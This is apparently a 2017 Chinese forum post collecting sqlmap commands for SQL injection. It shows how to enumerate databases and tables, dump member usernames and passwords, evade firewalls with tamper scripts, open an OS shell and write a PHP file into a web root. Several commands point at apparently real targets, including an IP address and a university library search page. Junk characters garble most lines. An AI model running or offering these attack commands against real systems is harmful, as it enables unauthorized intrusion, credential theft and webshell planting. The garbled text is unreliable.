找回密码
 立即注册
查看: 2893|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/pentest/database/sqlmap' _' e0 }8 v) x. v( }, M

5 \  P# B5 R; k- |update :::::>     in the folder   after  execute    following   order : svn update
+ ?8 U! s) U7 B2 ~! q, J- k) W# J
# k7 y; z" A% j! L/ c) e; T1 {sqlmap.py -r 1.txt --current-db; g+ A$ D" R5 w9 P% F

7 M* _5 s- D, u3 E  A& m& c/ U! A' ev 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”* F& `6 e0 m1 |3 E" V1 `

' f! N8 [! N8 j: n: c: i& S& [==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) ! t1 J: i" N0 ~# X2 D2 p
猜解数据库& X2 X5 h- b: @3 E% |' w2 J: q
./sqlmap.py -u "injection-url" --dbs
' I% F  o$ V9 z7 d; M; o5 n  C5 |: ]1 m" Bsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
+ c* q2 n) {4 @2 L8 d, S% y$ ^; n7 Z; y2 o
猜解表名2 W' Y" [" \  S' w- @
./sqlmap.py -u "injection-url" -D database_name --tables
8 T" C% w. w& f+ ?  |7 R/ v0 M
3 N6 a. p% L! i  s' F  Zsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
: a0 h: D/ Q; m4 m. dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" ' M$ |/ t2 w7 p$ n$ x: k

. \1 G! B$ D9 s8 x0 g& o0 t* Z0 e  Msqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump( T. w! j! _5 e+ b
5 b: t3 l2 t+ g* M1 i% b1 D; f5 d
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
1 {" C+ P6 T, Q' V3 osqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
  {: f9 ~, U) {) Esqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" % J, S5 n2 ]" s- N4 P4 u# R2 C; z+ o
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
1 J  u( {( T  s6 h- e1 y2 ?: K7 R2 w4 l: f' Q' s$ I4 k& l
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"0 Q) x) Z7 Y% C; S- J) h
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
2 p* j# }# Y4 gsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
# a5 I7 C$ V$ s. Msqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
' R, a) u( d8 n8 Tsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump& N3 M/ {4 `( h# X" r" F' z" w9 T% Z6 A

& S$ H9 ^6 j& p* f/ ~' h8 g# v9 Nsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了1 H6 t) ^/ v7 W# S% e9 Z9 Y3 [
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"8 K+ z9 ?% [% m& N
. w2 X, D# b2 x$ l* P3 z6 L
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"' ?7 |. i" s% [
猜解列名8 @' z/ [" A: b2 o5 I- t
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns1 \- u; l  @, g- U* @

2 [6 D3 h" C, h) I1 Dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" : S2 h3 m: F" c5 |- l$ g( r0 r" O
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 3 ^& N; a  I5 Q
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"7 U8 l) [8 L+ [
- Z4 |2 O6 U  ~: f
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
: H" e+ o2 Q+ H+ ~&submit=Go
6 j$ l7 }( O* D. F* L猜解值: N) J! w% |' p& A$ a, Q; h
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump. U; X7 o2 T7 t
========================================================  z; R4 x( J3 Z$ f$ q
搜索表名中包括mana字符的1 E- n7 c% _- q
/sqlmap.py -u "injection-url" -T mana --search
6 H6 x: l% D! J! q# }返回一个交互式sql shell
% S& a- A, e- e8 V% F' f/sqlmap.py -u "injection-url" --sql-shell, j6 {/ G  W1 \* f
读取指定文件(需权限)  y3 H" Y0 S  W- B, a! U. T9 M( Y0 f2 p
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
/ M2 ^# p0 H2 d0 I' x# n; m7 u. a查看当前 用户 及 数据库 2 s7 K1 S  o3 |  |! y' V6 k
/sqlmap.py -u "injection-url" --current-user --current-db, H* I, ^3 w. ~; w: [
本地文件 写入 远程目标绝对路径
9 q. Q, ^2 \# [( M9 m( v/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径  A" K* |" f) N: j' _
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
0 Y  K3 n* K  `8 x0 s4 w9 v* G, U
$ J# y# D5 F0 R5 S* y! dsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径8 f. c) P* }' V1 U- j
查看某用的权限
6 h- {% ^' E) M; a# g( V$ J$ g6 ?/sqlmap.py -u "injection-url" --privileges -U root6 O. ?7 f! ^9 M  W& M  [
查看当前用户是否为dba( ^5 ^. ]9 m) l" v! |! c2 v9 b
/sqlmap.py -u "injection-url" --is-dba
5 C# ?' a" |8 P9 }7 i" j/ ^+ M读取所有数据库用户或指定数据库用户的密码
5 _  _0 f6 T0 r! ]8 f8 r. t$ N7 ?sqlmap.py -r 1.txt --users --passwords7 a" N6 D7 _/ u; j3 C
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
3 H& t8 u# g) N0 b0 j- n0 e
# m) z4 ]7 Z( U" D1 `: K/sqlmap.py -u "injection-url" --passwords -U root
- u  U. F2 f/ `2 ^
+ E6 ?' s/ [! ~7 M# t--start&&--stop 与 --first&&--last 的区别3 w& o$ m1 f+ t( w
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
2 D# x9 [* f- y9 i9 J/ H  V
5 H& Z: o9 A5 q: q! R从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)/ S; L1 [6 I' h3 U9 t
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables* i$ B# l& Z  p/ s9 R1 ]2 z7 V
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
' }8 H* M- ?# a4 {# v2 E" o
, }# s- W" b' l! O8 T1 r执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
7 T& M6 |) w8 _5 L/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"6 S. O& u: j, o7 j$ v5 l

" d# }2 n( F2 v, A) }4 Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表